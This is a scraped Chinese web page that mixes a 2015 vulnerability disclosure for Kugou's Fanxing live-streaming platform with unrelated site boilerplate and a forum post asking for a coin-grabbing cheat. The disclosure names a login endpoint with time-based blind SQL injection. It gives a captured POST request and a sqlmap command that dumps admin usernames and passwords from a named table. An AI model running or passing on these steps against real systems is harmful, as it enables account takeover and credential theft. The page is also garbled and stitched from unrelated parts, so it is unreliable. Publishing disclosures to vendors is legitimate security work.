求酷狗繁星直播间大厅管理用语急急急急急急

来源：蜘蛛抓取(WebSpider) 时间：2015-07-06 16:18 标签： 酷狗繁星直播间大厅
分享漏洞：
披露状态：
： 细节已通知厂商并且等待厂商处理中
： 厂商已经确认，细节仅向厂商公开
： 细节向核心白帽子及相关领域专家公开
： 细节向普通白帽子公开
： 细节向实习白帽子公开
： 细节向公众公开
简要描述：
过滤不严，登录窗口username字段存在sql注入，时间盲注，可以爆出渠道用户账号密码,cmd5可查.其账号可同时登陆酷狗繁星推广联盟。
详细说明：
//commerce.php/commerceManage/login
登录窗口username字段存在sql注入，
基于时间的盲注
用burp截取http请求报文后保存到postsql.txt导入到sqlmap跑就行了
漏洞证明：
code 区域application/xhtml+xml, */*
Referer: //commerce.php/commerceManage/login
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Content-Length: 28
Pragma: no-cache
username=admin&password=123a
**************************
sqlmap -r /root/Desktop/postsql.txt -p username -D d_kehuduan -T t_channel_admin -C &adminName,password,isActivited,isSuper& --dump
修复方案：
管理员呢？扣工资....haha
版权声明：转载请注明来源 @
厂商回应：
危害等级：中
漏洞Rank：8
确认时间： 10:37
厂商回复：
谢谢提交,我们会尽快修复!
最新状态：
漏洞评价：
对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值
漏洞评价(共0人评价):
登陆后才能进行评分
登录后才能发表评论，请先繁星网 | 全球最大音乐现场直播平台
合作与招聘
观众：3679
3679人正在观看
1时6分前开播
观众：2070
2070人正在观看
51分30秒前开播
观众：1768
1768人正在观看
2时21分前开播
观众：1522
1522人正在观看
2时3分前开播
观众：3367
3367人正在观看
34分7秒前开播
观众：22534
22534人正在观看
46分51秒前开播
观众：4419
4419人正在观看
2时38分前开播
观众：4329
4329人正在观看
1时22分前开播
观众：8712
8712人正在观看
1时26分前开播
观众：5627
5627人正在观看
3时44秒前开播
观众：6154
6154人正在观看
1时56分前开播
73人正在观看
观众：1679
1679人正在观看
22分40秒前开播
观众：2927
2927人正在观看
2时22分前开播
观众：2487
2487人正在观看
4时57分前开播
观众：1721
1721人正在观看
2时56分前开播
观众：1925
1925人正在观看
13分5秒前开播
观众：3823
3823人正在观看
17分21秒前开播
观众：6554
6554人正在观看
1时6分前开播
观众：4339
4339人正在观看
24分36秒前开播
观众：1992
1992人正在观看
49分23秒前开播
观众：3640
3640人正在观看
1时15分前开播
观众：2753
2753人正在观看
58分55秒前开播
观众：2718
2718人正在观看
2时22分前开播
观众：2953
2953人正在观看
1时47分前开播
观众：1981
1981人正在观看
1时38分前开播
观众：2253
2253人正在观看
1时54分前开播
观众：1778
1778人正在观看
2时15分前开播
观众：1706
1706人正在观看
1时22分前开播
观众：2312
2312人正在观看
1时16分前开播
观众：4903
4903人正在观看
26分16秒前开播
观众：2351
2351人正在观看
1时33分前开播
观众：2396
2396人正在观看
1时48分前开播
观众：2800
2800人正在观看
1时48分前开播
观众：2263
2263人正在观看
2时25分前开播
观众：4708
4708人正在观看
3时6分前开播
开始时间 19:00
开始时间 19:00
开始时间 19:00
开始时间 19:00
开始时间 19:30
开始时间 19:55
开始时间 20:00
开始时间 21:00
梦想基金榜
MV打榜动态
完成以下任务，可领取星币奖励喔！
请输入领取星币验证码
是否已成功绑定手机号？
帐户剩余星豆：
需兑换的星豆数量
可获得星币的数量
请输入兑换密码
请先设定星豆兑换密码(建议不要与登录密码一样)
兑换密码：
确认密码：
登录(酷狗帐号可以直接登录)还没有帐号，
一个月内免登录
合作帐号登录
注册酷狗帐号可以
无需注册，即可登录
注册新帐号
*用&户&名：
推荐用户名：kason01
*创建密码：
*密码确认：
注册成功，请立即认证帐号
xxxxx.xx 将在5分钟内收到一封认证邮件，请查收成功认证后，同时万一忘记密码了，可以用邮箱取回呦！
暂不认证！
要求系统一封到您的邮件
到您邮箱的垃圾目录里找找
反馈内容：
请留下您的联系方式，以便我们尽快帮助你解决问题。繁星网承诺您的联系方式将会严格保密，绝不向第三方泄露。求一个酷狗繁星抢币挂
求一个酷狗繁星抢币挂20分
问题补充：
请发到谢谢
版式： | 炫彩版 | 12-12 15:32

我要回帖

更多关于 酷狗繁星直播间大厅 的文章

 

随机推荐